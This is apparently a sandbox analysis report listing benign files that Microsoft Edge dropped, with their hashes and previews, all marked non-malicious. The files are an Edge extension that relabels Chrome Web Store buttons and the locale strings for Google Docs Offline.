Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\scoped_dir4512_729620731\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4512_729620731\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4512_729620731\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4512_729620731\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_729620731\c2af21e8-48c3-4ede-89eb-345cc0edffdf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
